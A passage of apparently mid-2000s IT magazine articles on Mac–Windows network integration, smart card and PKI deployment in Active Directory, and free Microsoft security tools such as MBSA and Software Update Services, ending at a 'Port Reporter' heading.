SFM also allows for support of the Classic Mac file format. Classic Macs store files in two pieces called forks: a data fork and a resource fork. As the name implies, the data fork contains data. For executables, this is where the program's instructions are stored. The resource fork contains the file's resources, which can include items like icons, sounds, font, and images. SFM permits the server running Windows to store both forks in a single file.
Once you have loaded SFM and configured file permissions, you can connect to your server from a Mac, but note that file permissions for the Mac and the PC are configured separately. You will be required to authenticate using your domain user name and password for resources. While this is important functionality, it only provides basic file sharing. It also only allows you to serve files in one direction: Windows-based server to Mac.
In the past, it was necessary to load the AppleTalk protocol to support Macintosh clients, but Windows now supports Apple File Protocol (AFP) over TCP/IP. This means that your Mac volumes are available to your clients through TCP/IP. The AppleTalk protocol is no longer needed in many cases. Even Apple has moved on and no longer promotes its use. However, keep in mind that if you want to eliminate AppleTalk, you will need the DNS name or the IP address of the server you want to connect to. You cannot browse for Apple resources without AppleTalk.
If you want to continue to use the AppleTalk protocol, the Windows-based server can act as an AppleTalk router. It also has the ability to seed or define your AppleTalk network exactly as if it was a native Macintosh server.
Apple provides a client or User Authentication Module (UAM) right out of the box in both the Classic and OS X environments for connection to SFM, but it's not a very secure solution. It only supports eight-character passwords. This invariably causes problems when users with longer passwords attempt to access a resource. UAM also does little to hide these passwords as they travel over your network, for little or no encryption is applied. Because of these shortcomings, it's important to use the Microsoft UAM instead. The UAM supports 14-character passwords and uses stronger encryption. SFM and UAM are available as free downloads from the Microsoft Web site at Windows 2000 SFM.
While this solution does provide a good deal of functionality, there are still a number of limitations. For example, Classic Macs are often configured without a centralized login—you log in to each resource separately. You only have access to folders configured as Mac volumes on Classic Macs. Browsing for resources is very limited. Shares must be configured twice if you need access to the same files from the PC and the Mac, and security is not very robust. There is also no support for Distributed File Shares (DFS), file shares that are spread across several servers to provide better redundancy.
Printing is a little more flexible, however. By loading print sharing for Macintosh on your server, you will have access to any printers that have been shared from your Windows server on the Mac clients. Any AppleTalk printers connected to the network can be configured for use by any of the Windows-based clients as well.
When Macintosh printers are shared using SFM, the Windows-based server captures them. This means that print jobs sent from Mac clients are spooled to the server first. They are then converted to a bitmap format recognizable by the Windows-based printer driver and then sent to the printer. This allows you to manage Macintosh print jobs in the Windows-based print queues along with any other print jobs that were sent from computers running Windows. While this does work, it's not always the best solution. There are often problems when the print jobs are converted. Printouts are not always accurate, and sometimes don't print at all. Driver problems also plague this configuration.
In a larger environment, it is often necessary to manage print jobs in this manner. When in a smaller environment, however, it's usually best to allow the Mac clients to bypass the Windows-based server and print directly to the printers. Although you lose central control, the jobs will print properly most of the time. This can be accomplished in a few different ways. Many printers have native support for AppleTalk, in which case the printers will show up on the Macs as AppleTalk devices, allowing you to print directly to them. Another possibility is to print through TCP/IP directly to the printer.

Native OS X Support
If you don't need to support the Classic Mac environment at all, you may be able to get all the functionality you need right out of the box with OS X. OS X has the ability to access Windows-based shares without any additional server-side configuration. To access a file share, tell the Mac which server and share you would like to connect to, and then authenticate. Press Command-K, or select Go | Command to Server... from the Finder menu, and the related dialog box should appear (see Figure 1).
Figure 1 Mac Server and Share Authentication Dialog Box
Figure 1 Mac Server and Share Authentication Dialog Box
Enter your file share following one of the formats shown here:
smb://servername/sharename
smb://fullyqualifieddomainname/sharename
You will then be prompted with a login screen similar to Figure 2.
If you enter your domain, username, and password, you will have access to the share. The only configuration requirement for this is that you must use TCP/IP. Permissions are set on the server and are tied to your domain login. OS X doesn't require any special file space or configuration, and files do not require a resource and a data fork. In fact, the files look as if they came from a machine running Windows. You still must log in to each resource and you're not integrated with Active Directory, but you can get to file shares a lot more quickly. As an added bonus, OS X can be configured to show up in a workgroup and share files with your Windows-based machines as well.
Figure 2 Macintosh Share Login Screen
Figure 2 Macintosh Share Login Screen
There is one caveat: you must know where you're going. Because you are not integrated with Active Directory, you cannot browse for resources past your local subnet. If a resource is remote, you need the server name or IP address and the name of the share to which you would like to connect.
Printing on a Windows-based network from OS X is a little more involved. First, you must open System Preferences | Hardware | Print & Fax, click Set Up Printers, and then click Add. Next, select Windows Printing, then choose your correct domain from Network Neighborhood. Select your server and you will be prompted to log in. Once you have authenticated, a list of available printers will be displayed. Select the printer you want to use and then select the correct driver from the Printer Model dropdown list. You should now be able to print. Printers attached to your OS X machine can be made available to Windows-based clients as well.
So how did Apple make such a jump in functionality? For years, users have been struggling with added services and third-party applications like Dave from Thursby Software. When Apple scrapped the Mac Classic operating system in favor of OS X, much of the work was done for them. Because OS X is based on Unix, Apple was able to integrate Samba, a group of open-source Unix applications that use the Server Message Block (SMB) protocol. This is the protocol used by Windows for client-server networking. As such, Apple inherited most of this functionality from its Unix background. This has not been a trouble-free transition, however.
On a large network, problems quickly arise. You still need to log in to each and every resource you access. This quickly becomes cumbersome on all but the simplest of networks. In addition, the Mac client is not a domain member, which means that there is no domain login account for it. You cannot map your home directory during login. Browsing for resources is very limited—you can only browse on your local subnet. Security becomes an issue because the Mac can cache the user names and passwords for the resources it uses. Without an Active Directory login, someone could easily gain access to a Mac client and related domain resources with the locally cached login information.

The Apple OS X Active Directory Client
Apple has finally given us a way to connect to Active Directory. In fact, Apple has been working on its Active Directory client for some time, but it has been plagued by bugs and has been very difficult to configure. Some administrators have had success, but even these modest results have typically been difficult to reproduce.
Macintosh Direct Access Client Configuration
  1. Open the Direct Access Utility.
  2. Click Enable next to Active Directory, and then click Active Directory.
  3. Click Configure, then enter your Active Directory Forest and Domain.
  4. Enter a computer ID for your Mac client.
  5. Click Unhide Advanced Options, and select the Cache Last User Login for Offline Operation and Allow Administration by: check boxes.
  6. Add the usernames and groups that you want to give administrative access to your Mac in the format domain name\user or group, and then click Bind. You will be prompted for a user account with rights to join your domain.
  7. Click OK and then click Authentication at the top. Make sure Active Directory is still highlighted.
  8. Click Custom Path in the Search dropdown list, and then click Add at the bottom.
  9. Select your Active Directory Domain from the list and click Add.
  10. Click Contacts, and then Add.
  11. Click Apply and close the Directory Access window.

Early implementations of the Apple client required you to make complicated schema changes to Active Directory in order for it to work. This is quite difficult and time consuming. Once these changes are made, the functionality is not as robust as one would hope. When it is working, domain users can authenticate on a Mac and gain access to resources on the domain. However, browsing remains a problem as do home folders, which I'll discuss later.
Apple recently released OS X 10.3.4. It's important to have this update when using Apple clients because it apparently has resolved many issues, but it's still not perfect. A single Active Directory login is now supported without making any schema changes in Active Directory. This means that you can configure a Mac to allow domain user accounts to log in, and you can do away with local user accounts. Password changes and updates are supported from the Mac, as are cached passwords for access to your account when you're not connected to the network. You also have the ability to grant administrative access through user names and groups from Active Directory. Hourly login restrictions are supported as well.
There is also some support for home folders. You can map a user's home folder during login based upon their profile in Active Directory. This is especially useful when users have both PC and Mac computers. You can use a single login and mount your home folder on the Mac, then use it again as your home folder on the PC. This makes for easy backup and convenient access to all of your work. Unfortunately, you cannot use this mapped directory as your home folder—there is still a separate home folder for each user account locally on the Mac, which often causes confusion when users are saving files and looking for them later. Sometimes users think they have saved a file on the server-based home folder, when in fact these files are located on the local Mac drive. DFS volumes also remain unsupported. This can be a big problem in an enterprise-level environment, as there will be resources that the Mac cannot access.
The client is configured in OS X with a utility called Directory Access, located in the Applications | Utilities folder. When you open the utility, click Enable next to Active Directory, and then click Active Directory. From this screen you can click Configure, and then enter your Active Directory Forest and Domain. Enter a computer ID for your Mac. Click Unhide Advanced Options, and select the Cache Last User Login for Offline Operation and Allow Administration by: check boxes. Add the usernames and groups to have administrative access to your Mac in the format domain name\user or group, and then click Bind. You will be prompted for a user account with rights to join your domain. Click OK and then click Authentication at the top. Make sure Active Directory is still highlighted. In the Search dropdown list, click Custom Path, and then click Add at the bottom. Select your Active Directory Domain from the list and click Add. Now click Contacts, and then Add. Last, click Apply and close the Directory Access window. After you restart, you should be able to log in with a domain user account and password.
Perhaps this still isn't enough for your users. Do you need even more from Active Directory? Apple has an update to OS X, version 10.4 (code-named Tiger), due out next year, that promises to solve some of the security and configuration issues and provide cleaner integration with Active Directory login and home directories. Unfortunately, Apple has a history of dangling the promise of such features in front of its customers without delivering, so we'll have to wait and see.

ADmitMac to the (Costly) Rescue
Alternatively, you might want to take a look at ADmitMac from Thursby Software. ADmitMac is an enhanced Active Directory client for OS X. NT LAN Manager version 2 (NTLMv2) and SMB signing are both supported. This provides enhanced security when connecting to Windows Server 2003. If you need access to DFS, ADmitMac is the only product I know that supports it through OS X. ADmitMac also allows you to map server-based home folders for use as home folders on both the Mac and the PC. This means that users who have both a PC and a Mac can have the same home files available to them on either platform, with a single account and no chance of confusion between the two. ADmitMac can also search published resources available in Active Directory. All this is done on the client side with no schema changes to Active Directory. Nevertheless, don't get too excited—this sounds very promising, but there is a catch, as ADmitMac currently costs $119 per client. However, you can download a trial version at: Thursby Software. I love to use ADmitMac because it provides so much support for the added services of Active Directory, but it can become quite expensive if you have a lot of Mac clients.
So, which approach is best? In most of the mixed environments I support, I use SFM simply because there always seems to be a Classic Mac left hanging around somewhere. Unfortunately, this is only a halfway solution and can often be clumsy, confusing, and insecure, particularly when other products offer so much more functionality.
Active Directory integration on OS X has been referred to as "The Holy Grail" for Apple and its implementation of an Active Directory client is improving with each release. The first white paper released by Apple on Active Directory integration was over 40 pages long. Hopefully, their client will get better with time, but there are still many problems. Fixing them would certainly make integration decisions a lot easier.

Jay Shaw is an independent network consultant. His company, Network Consulting Services, is located on Long Island in New York. He can be reached at info@ncservices.net.


 Get Smart!: Get Smart! Boost Your Network's IQ With Smart Cards
Security: Beyond the Basics Brian Komar

Get Smart! Boost Your Network's IQ With Smart Cards
At a Glance:
  • Using smart cards in an Active Directory environment
  • Smart card implementation requirements
  • Planning a smart card deployment
  • Defining smart card usage within an organization
Kerberos Authenti-cation
Public Key Infra-structure
Smart Card Deployment

Many organizations are implementing two-factor authentication solutions to increase network security. Two-factor authentication increases security by requiring something you have, such as a smart card or other device with a smart card chip (like a
USB token), and something you know, such as the personal identification number (PIN) for the smart card or USB token. To initiate a smart card program, an organization must deploy the related hardware and software to each desktop. The required hardware includes a smart card reader, as well as a smart card that is on the Windows® hardware compatibility list or that includes drivers for Windows 2000, Windows XP, or Windows Server™ 2003 clients on your network. As an alternative, you can use a USB token, which is a combination USB reader and card. For software, you will need a smart card cryptographic service provider (CSP) that allows the Microsoft® cryptographic application programming interface (CryptoAPI) to interact with the smart card.
Windows currently ships with default CSPs for GemPlus, Infineon, and Schlumberger, though these CSPs do not work with all versions of these manufacturers' smart cards. You must determine if updated CSPs are required for the smart cards selected by your organization.
Both Windows 2000 and Windows Server 2003 Active Directory® environments support smart card authentication, an extension to Kerberos authentication. This means that only Windows 2000, Windows XP, and Windows Server 2003 client computers can be used with smart cards in an Active Directory environment.
Smart cards allow Kerberos authentication through Public Key Initialization (PKINIT) extensions to the Kerberos protocol. PKINIT extensions allow a public/private key pair to be used to authenticate users when they log onto the network.

Requirements for Smart Card Certificates
To deploy smart cards in a Windows 2000 or Windows Server 2003 Active Directory environment, the following requirements must be met:
  • All domain controllers and computers in the forest must trust the root Certification Authority (CA) of the smart card certificate's certificate chain.
  • The CA that issues the smart card certificate must be included in the Active Directory NT Authority (NTAuth) store. When a CA certificate is added to the NTAuth object in Active Directory (CN=NTAuthCertificates, CN=Public Key Services, CN=Services, CN=Configuration, DC=ForestRootDomain, where ForestRootDomain is the LDAP distinguished name of the forest's root domain), the thumbprint of the CA's certificate is automatically distributed to all Windows 2000 and later domain members in the HKEY_LOCAL_MACHINE\Software\ Microsoft\EnterpriseCertificates\NTAuth\ Certificates registry key. You can verify the CA certificates included in the NTAuth store by using the PKI Health Tool (pkiview.msc) included in the Windows Server 2003 Resource Kit.
  • The smart card certificate must contain the Smart Card Logon (1.3.6.1.4.1. 311.20.2.2) and Client Authentication (1.3.6.1.5.5.7.3.2) object identifier (OID) in the Enhanced Key Usage (EKU) extension or in the Application Policies extension. The Smart Card Logon and Client Authentication OIDs must be valid in the entire certificate chain.
  • The smart card certificate must contain the user's UPN in the subject alternative name extension.
  • All domain controllers must have a Domain Controller or Domain Controller Authentication certificate installed. Smart card authentication requires mutual authentication of the user and the domain controller involved in the Kerberos authentication.
A Windows Server 2003 Enterprise Edition CA meets these requirements. Alternatively, a third-party CA can issue a smart card certificate, as long as the requirements are met. The requirements are detailed in Knowledge Base article 281245, "Guidelines for Enabling Smart Card Logon with Third-Party Certification Authorities".

Planning Smart Card Deployment
Let's begin with determining the assurance level required for smart card issuance. A smart card increases protection for a certificate's private key. To compromise a smart card's private key, an attacker must obtain the smart card and know the associated PIN. As added protection, a smart card blocks access to the smart card's private key(s) after a designated number of PIN failures. The private key can only be accessed after the smart card is unlocked. You can increase the security of the smart card distribution by requiring face-to-face interviews during enrollment. This requires the user to meet with either the enrollment agent requesting the smart card certificate or with another person, sometimes referred to as a local registration authority (LRA), who verifies the user's identity.
Smart Card Deployment
Planning a smart card deployment involves several interrelated steps, including:
  • Determining the assurance level required for smart card issuance
  • Identifying the required certificate templates
  • Determining certificate distribution methods
  • Designing and configuring the required certificate templates.
  • Deploying a smart card management system.
  • Identifying when smart cards can and cannot be used

To indicate that you have performed a face-to-face interview before issuing a smart card, you can add a custom certificate policy OID to the Issuance Policies extension that indicates the measures taken to validate the smart card holder's identity before issuance.
To deploy smart card certificates by using face-to-face validation of the user's identity, your organization must provide certificates for the two roles in smart card deployment: the enrollment agent and the smart card holder.
An enrollment agent must hold a certificate that allows them to request a smart card certificate on behalf of another user. This is made possible by including the Certificate Request Agent OID (1.3.6.1.4.1.311.20. 2.1) in the EKU or Application Policies extension of the certificate. This functionality is provided in the default version 1 Enrollment Agent certificate template.
The smart card holder must, at a minimum, have a certificate that includes the Smart Card Logon (1.3.6.1.4.1.311.20.2.2) and Client Authentication (1.3.6.1.5.5.7.3.2) OIDs in the certificate's EKU or Application Policies extension. This functionality is provided in two default version 1 certificate templates: Smart Card Logon and Smart Card User.
Some organizations choose to implement version 2 certificate templates based on the default version 1 certificate templates. Version 2 templates allow an organization to require validation of an enrollment agent's identity, enable autoenrollment for certificate renewal, add a certificate policy to describe the issuance method of the smart card certificate, add application policies to the smart card certificate, and enforce the use of a specific smart card CSP.
Once you determine which certificate templates to implement for enrollment agents and smart cards, the next step is to decide how to distribute the certificates to the desired holders. There are three common methods for deploying smart card certificates: implementing enrollment agents, using autoenrollment for initial distribution of certificates, and using autoenrollment for smart card certificate renewal.
An enrollment agent requests a smart card certificate on behalf of each user. The enrollment agent signs the certificate request with a certificate that includes the Certificate Request Agent object identifier in the EKU or Application Policy extension of the enrollment agent's certificate. In addition to issuing the smart card certificate to a user, the enrollment agent also validates the identity of the requesting user by inspecting identification such as a driver's license or a passport.
The enrollment agent must use the Certificate Services Web Enrollment pages to request the smart card certificate on behalf of another user. The Smart Card enrollment pages must be added to the Local intranet security zone and allow untrusted ActiveX® controls to be downloaded.
Autoenrollment can be used in implementations where additional identity validation measures are not required. When autoenrollment is used, you must ensure that smart cards, smart card readers, and support software such as smart card management software and CSPs are distributed to the users before autoenrollment is initiated. In this solution, the user will be prompted to input their smart card during the autoenrollment process.
Under the default settings, the process of smart card certificate renewal is the same process used for initial enrollment. In other words, if you have to undergo a background check to receive your initial smart card, you must undergo the same background check to renew the certificate. However, you can reduce the security requirements for smart card renewal. For instance, if you can provide evidence that you have already undergone the background check, there is no need to undergo it again. Two solutions exist to meet this type of deployment:
  • You can configure the certificate template to renew the certificate automatically if users hold existing certificates based on the existing version of the certificate template. By holding an existing certificate, users provide evidence that they have undergone the required validation process.
  • You can require users to sign the certificate renewal request with the existing smart card certificate. By signing the certificate request, the requestors prove they can access the private key of the previous smart card certificate, thus proving that they are the same person that requested the original certificate.

Certificate Template Design and Configuration
Once you determine how smart cards are to be used in your organization and how the certificates are to be deployed, you can define the certificate templates. Most organizations use the default Enrollment Agent certificate template. If you implement this template, my only recommendation is that you modify the permissions to allow a custom global or universal group (in the case of a multiple domain forest) only Read and Enroll permissions. Remove the Enroll permission assignment for members of the Enterprise Admins and forest root domain's Domain Admins groups to prevent unauthorized registration of the Enrollment Agent certificate template.
If you want to implement certificate manager approval for enrollment agent certificates, you must create a version 2 certificate template based on the version 1 Enrollment Agent certificate template. In the version 2 certificate template definition, configure the Issuance Requirements tab (see Figure 1).
Figure 1 Issuance Requirements
Figure 1 Issuance Requirements
In addition, it is recommended that you add the version 1 Enrollment Agent certificate template to the Superseded Templates tab and restrict enrollment permissions to a custom universal or global group that contains all designated enrollment agents.
Once the required enrollment agents have obtained their Enrollment Agent certificates, consider removing the Enrollment Agent certificate templates from all CAs in the organization. To help prevent unauthorized certificate enrollment of Enrollment Agent certificates, only publish the certificate template on a CA when a new enrollment agent must be designated or when certificate renewal is required.
When you are using smart cards, it is recommended that you create a custom version 2 certificate template based on either the default Smart Card Logon or Smart Card User version 1 certificate templates. The version 2 certificate templates give you greater flexibility in the configuration of the certificate contents.
Figure 2 lists the recommended modifications to the version 2 certificate template. This certificate template can be published at multiple CAs for fault tolerance and must be available at all times to allow an enrollment agent to create a smart card for any user at any time.
Figure 2 Custom Initial Smart Card Certificate Template (Close Figure 2)

Tab | Recommendations
General | Create a custom Template Display Name and Template Name, based on the organization name, that specifies that the certificate template is for enrollment agents. The validity period is typically no longer than one year.
Request Handling Make the following changes on the Request Handling tab:
  • Change the Purpose dropdown list to Signature and Smart Card Logon to prevent the smart card from being used for encryption. Setting the purpose to Signature and Smart Card Logon ensures that the user is prompted during enrollment to input the smart card's PIN.
  • Increase the minimum key size to 1,024 bits if using smart cards with 8KB or more storage space.
  • Define the specific smart card CSP you want to use with the certificate template.
Subject Name | The only requirement here is that you ensure that the UPN option is enabled. You should enable the e-mail name options if you intend to use the smart card for S/MIME e-mail purposes.
Issuance Requirements | In order to enable enrollment by an enrollment agent, you need to configure the certificate template to require one authorized signature, with the signing certificate containing the Certificate Request Agent OID.
Superseded Templates | Add both the Smart Card User and Smart Card Logon certificate templates, designating that the custom version 2 certificate template is the organization's preferred version.
Extensions For application policies, include the Smart Card Logon and Client Authentication. If you want to use the smart card for signing e-mail, include the Secure E-mail OID. In addition, add a custom application policy OID that indicates that the certificate is YourOrganization's smart card. This OID can be used in applications, such as the Microsoft RADIUS server, to restrict certificate usage to only certificates with this custom OID.
Add a custom certificate policy OID that defines the process used for the smart card certificate. The custom issuance policy OID can also include a Web URL reference that provides a text description of the process.
Security | Modify the permissions for the certificate template so that only a custom global or universal group that contains all enrollment agents has Read and Enroll permissions. Consider removing the Enroll permission assignment from the Enterprise Admins and forest root's Domain Admins groups.
If your organization's security policy requires the same subject validation process for initial smart card enrollment and renewal, you can use the custom certificate template just described. When a smart card certificate is expiring, users can return to the enrollment agent, who can re-enroll on their behalf and provide them with a replacement certificate. If your company has standardized on machines running Windows XP, there is an alternative option that takes advantage of autoenrollment and the ability to sign a certificate by using the initial smart card certificate.
To take this route you create a custom version 2 certificate template that enables autoenrollment if the certificate request is signed with a previous smart card certificate. At the time the previous smart card certificate nears expiration, the autoenrollment process will prompt the user to sign the certificate request with his existing smart card certificate. When the renewal is performed, the previous smart card certificate is archived and the updated certificate remains as the active certificate.
Figure 3 explains how to configure a version 2 certificate template to use autoenrollment for smart card certificate renewal. The certificate template can be based on either the Smart Card Logon or Smart Card User certificate template.
Figure 3 Custom Renewal Smart Card Certificate Template (Close Figure 3)

Tab | Recommendations
General | Create a custom Template Display Name and Template Name, based on the organization name, that specifies that the certificate template is for smart card renewal only. Set the validity period to no longer than one year. To prevent the user from continually requesting the replacement smart card certificate, enable Publish Certificate in Active Directory and Do Not Automatically Re-Enroll if a Duplicate Certificate Exists in Active Directory. This publishes the issued certificate in the userCertificate attribute of the user account and prevents re-enrollment if a certificate is already published to the user account.
Request Handling | Change the Purpose dropdown list to Signature and Smart Card Logon, increase the minimum key size to 1,024 bits if using smart cards with 8KB or more storage space, and define the smart card CSP you want to use with the certificate template.
Subject Name | The only required name format for smart card login is to ensure that the UPN option is enabled. Also, enable the e-mail name options if you intend to use the smart card for S/MIME e-mail.
Issuance Requirements | Configure the Issuance Requirements tab to require one authorized signature, with the signing certificate containing the Smart Card Logon OID. If you have implemented a custom application policy OID based on your organization, require this custom application policy OID for signing instead of the Smart Card Logon OID.
Superseded Templates | Add the initial smart card logon certificate template defined in Figure 2. The addition of the superseded template allows autoenrollment to initiate.
Extensions | For application policies, ensure that you include the Smart Card Logon and Client Authentication. If you want to use the smart card for signing e-mail, include the Secure Email OID. In addition, continue adding a custom application policy OID that indicates that the certificate is YourOrganization's Smart Card to allow continued autoenrollment processing for certificate renewal when the certificate expires. For issuance policies, add a custom certificate policy OID that defines the process used for the smart card certificate. The custom issuance policy OID can also include a Web URL reference that provides a text description of the process.
Security | Modify the permissions for the certificate template so that only a custom global or universal group that contains all smart card holders has Read, Enroll, and Autoenroll permissions.
The renewal smart card certificate template can be published at multiple CAs for fault tolerance and must be available at all times to allow an enrollment agent to create a smart card for any user at any time.

Deploying a Smart Card Management System
A smart card deployment must look beyond the issuance of smart card certificates. In addition to getting the smart cards to the users, the deployment must address the customization of the smart card enrollment pages and smart card PIN resets.
First of all, you can customize the default enrollment pages with modifications that can include such things as adding your organization's logo, changing the signing requirements for a smart card certificate, or simplifying the user experience by removing the multitude of options available when the user requests a certificate.
In terms of pin resets, most smart cards (by default) prevent the user from accessing the smart card's private key if the smart card PIN is entered incorrectly three consecutive times. Your organization must develop custom software or use commercial software to allow the remote reset of a user's smart card. For these solutions, look to the software development kits for the specific smart card vendor or to third-party management systems, such as those available from Alacris and from Spyrus.
You should remember that smart cards are not a panacea for authentication security. And, there are some applications that cannot use smart cards as an authentication mechanism. During a recent smart card pilot project at Microsoft, where users were required to use smart cards for all forms of authentication, several applications would not work with the updated smart card authentication.
Outlook Web Access, for example, does not support smart card authentication. You must type credentials into a form or use basic authentication protected by Secure Sockets Layer (SSL).
Some Exchange Server deployment scenarios contain configuration options that do not support the use of smart card authentication. For example, if the user account and the mail box are situated in different forests, smart card authentication is not possible. Another option that does not support smart card authentication is the implementation of Remote Procedure Calls over HTTP in Microsoft Outlook®.
Service accounts and batch files also cannot use a smart card for authentication. A scheduled task that implements a service's account will not prompt for smart card insertion or for the input of a PIN to access the private key material on the smart card.
If a workstation is not joined to a domain, Windows NT Lan Manager (NTLM) authentication is used to authenticate the account and password combination required. Since smart cards require Kerberos authentication, they cannot be used in this scenario. If an application uses Basic Authentication or NTLM authentication, smart cards cannot be used for authentication purposes. Only applications using Kerberos that support PKINIT extensions will work with smart cards.

Defining Smart Card Usage in Your Organization
Once you have deployed smart cards to the users in your organization, you can fine-tune security settings in Active Directory and other services to define how the smart cards are to increase network security. The settings that you can define include:
  • Requiring smart cards for interactive logon
  • Requiring smart cards for remote access logon
  • Defining smart card removal behavior
  • Using smart cards for the various administrative tasks
Through group policy, you can define whether smart cards are required for interactive logon by using the Interactive Logon: Smart Card Required Group Policy setting. This setting, defined in Computer Settings | Windows Settings | Security Settings | Local Policies | Security Options, enforces smart card logon for all users on computers where the Group Policy setting is defined.
Alternatively, you can enable the "Smart Card Is Required For Interactive Logon" option on the Account tab of the user's object in Active Directory. This method gives you more flexibility in that you can enforce smart cards on a user-by-user basis.
Do not enable the Smart Card Is Required For Interactive Logon and the User Must Change Password At Next Logon options for a user account. When you enable the Smart Card Is Required For Interactive Logon option in a Windows Server 2003 environment, the operating system takes over user password management. The operating system assigns a maximum-length password that is equivalent to 255 characters and ensures that the password meets complexity requirements, effectively blocking the user from logging onto the network by using a password.
When you enforce smart card logon in your domain, you must also ensure the validity and availability of the CRL Distribution Point (CDP) and Authority Information Access (AIA) URLs in the smart card certificates as well as all CA certificates in the certification chain. The domain controller accepting the smart card authentication attempt will perform a revocation check on the smart card certificate during the logon process.
To enforce smart card authentication for remote access, you must configure a remote access policy at a remote access server or a RADIUS server to require Extensible Authentication Protocol with Transport Layer Security (EAP/TLS) authentication in the profile settings.
When you enforce EAP/TLS authentication, you can elect to restrict client certificates to a smart card or other certificate. The only additional configuration required at the Routing and Remote Access (RRAS) server or the Internet Authentication Services (IAS) server is to designate the Server Authentication certificate used by the server for mutual authentication.
Group Policy also allows you to define the action that takes place when users remove their smart cards from a smart card reader by using the Interactive Logon: Smart Card Removal Behavior Group Policy setting. This setting, defined in Computer Settings | Windows Settings | Security Settings | Local Policies | Security Options, ensures that smart card removal behavior is consistent for all computer accounts in the OU or domain where the Group Policy is applied.
In this Group Policy setting, you can define the removal behavior one of three ways:
No Action The default setting. The removal of the smart card does not lock the workstation or log off the current user.
Lock Workstation The removal of the smart card causes the workstation to lock. The user must press Log On Interactively or provide the PIN for the smart card to unlock the workstation.
Force Logoff The user currently logged on is automatically logged off.
In a pure Windows 2000 network, it was not possible to use smart cards for all administrative tasks. Several tasks still required the input of user credentials and passwords, reducing the security gains accomplished through the issuance and usage of smart cards. Windows XP and Windows Server 2003 offer enhancements that enable additional usage of smart cards in administrative activities, including the RunAs, Net Use, and DCPromo commands, and Terminal Services.
The RunAs command allows you to run a program in a security context other than that of the currently logged on user. For example, if administrators have day-to-day accounts and smart cards for administrative tasks, they can use the RunAs command to run administrative tasks with their smart cards, whether accessed via the GUI or from the command line. From the command line, you can add the /smartcard switch; from the GUI, you can elect to use a smart card for authentication.
Like the RunAs command, you can choose to use a smart card to provide credentials for network drive mapping. From the command line, you must use the /smartcard switch to designate that the credentials are read from a smart card. Likewise, from the GUI, you can choose to connect with a different user name and then select the smart card from the list of available credentials.
If the computer you are promoting to a domain controller is already a member of the forest, you can use a smart card to validate your identity in the DCPromo wizard. The computer must be a member of the forest before running DCPromo; otherwise the option is not available. This option is only available on computers running Windows Server 2003.
A user can use her smart card to connect to the Remote Desktop Service (or Terminal Services) running on Windows XP or Windows Server 2003, as long as the host computer is a member of an Active Directory domain. The Windows XP and Windows Server 2003 Remote Desktop client accepts smart cards as a form of authentication and passes the credentials to the remote computer.
If you are using a third-party CSP, it must be loaded at both the remote client and the remote desktop server so that the smart card is recognized at each end of the Terminal Services connection.

Conclusion
A successful smart card deployment is dependent on proper planning and design. By putting the effort up front during the design process, making sure that you review all aspects discussed in this article, you will ensure a successful smart card deployment for your organization.

Brian Komar, president of IdentIT Inc, is a principal consultant specializing in PKI consulting engagements. He has authored MCSE Training Kits, Microsoft Prescriptive Architecture Guides, PKI white papers, and is the coauthor of the Microsoft Windows Security Resource Kit. Contact Brian at bkomar@identit.ca.
This article is an excerpt from the book Microsoft Windows Server 2003 PKI and Certificate Security (Microsoft Press, 2004).


 Security Watch: Six Free Microsoft Security Resources
Security Watch Six Free Microsoft Security Resources and Kai Axford Microsoft Baseline Security Analyzer, Port Reporter, plus information on Windows XP SP2, Software Update Services, Microsoft security events, and more
Free? Just hearing that word on the radio or TV makes me cringe. Like you, I'm an IT professional. I'd be interested if one of the big hardware vendors decided to pass out free 20,000 RPM SCSI drives along with a fiber channel SAN, but that's about it.
So why in the world am I telling you about free stuff in this column? Well, because at Microsoft, we've got some amazing free security tools and whitepapers. If you fail to check them out, you're going to kick yourself just like you would if you missed out on a free SCSI drive. I do a lot of presentations and webcasts, and I've noticed that many IT pros have never heard of these tools. To be honest with you, that's a travesty.
This stuff is available now, you can get it today, and it's a whole lot more valuable than a SCSI drive.

Microsoft Baseline Security Analyzer
How would you like a tool that will help you assess some of the common security misconfigurations on your machines? The Microsoft® Baseline Security Analyzer (MBSA) is for you. MBSA is a best practices vulnerability assessment tool for the Microsoft platform. Once you install the MSI package locally (and as long as you have admin privileges), you can use it to scan multiple machines from just that one central location. MBSA runs on Windows® 2000, Windows XP, and Windows Server™ 2003. It can be used in GUI or command-line modes (for all you scripting gurus). It can also be used in conjunction with SMS.
As of this writing, the current version, MBSA 1.2.1, will scan the core operating system and a variety of applications (IIS, Exchange Server, SQL Server™, Office, BizTalk® Server, and Commerce Server, for example). The MBSA will then save these scans in a neat little XML report that you can view immediately or save for future use.
Now you might ask, "Is this one of those tools that I have to be able to read binary to understand?" The answer is absolutely not! The reports generated by this tool are simple to read and are easily understood by an IT pro. It uses a few simple colored icons to distinguish results: green (looking good!), yellow (warning: this has the potential to be bad), red (danger! danger! impending doom!), or blue (are you following the best practice here?). Basically, if you can drive a car, you can understand this tool—although if you see a blue flashing light, it's better just to pull over and not debate whether you were following a "best practice."
You can find out more information about MBSA and download it from Microsoft Baseline Security Analyzer.

Software Update Services with SP1
Patch management. It's a necessary task, but it shouldn't be a lifestyle. How you deploy patches in your organization directly affects your ability to get out of the office by 4:00 PM. If users install patches in your organization, you might wonder if this is something you really want to leave in the hands of people who only care about e-mail, solitaire, and instant messenging.
How do your users typically deploy their patches? They go to Windows Update and Select All, then they roll out all 90 updates onto their desktops at once. Have you ever heard a user say, "I really should test this patch in a controlled lab setting before deploying it to my desktop?" Almost never. They simply dump patch after patch onto their machines and reboot. If some obscure application doesn't work afterward, well, they just think it's the fault of the patches, but you'll get a big helping of blame, too.
Enter Software Update Services with SP1 (SUS), another free tool from Microsoft. Once loaded onto Windows 2000 or Windows Server 2003, it allows you to control patch deployments in your organization. SUS will pull down from the net all critical patches, security packs, and security updates that are currently available. Then you can selectively test and deploy those needed in your organization.
In addition, through either Group Policy Objects or a client registry setting, you can force the Auto Update client to point only to your SUS server for updates. You can also set the parameters regarding how and when the updating process occurs.
Watch for the next version of SUS, which will be called Windows Update Services. This new version, due out in the first half of 2005, will give you the ability to update drivers, noncritical patches, and so on.
Updates that do not require a reboot can be configured to be installed silently without user interaction or notification (we all know we don't want users determining what's best). Updates that do require a reboot will be grouped together so a single reboot accomplishes the task. Finally, the logging and reporting features will be greatly improved.

Port Reporter
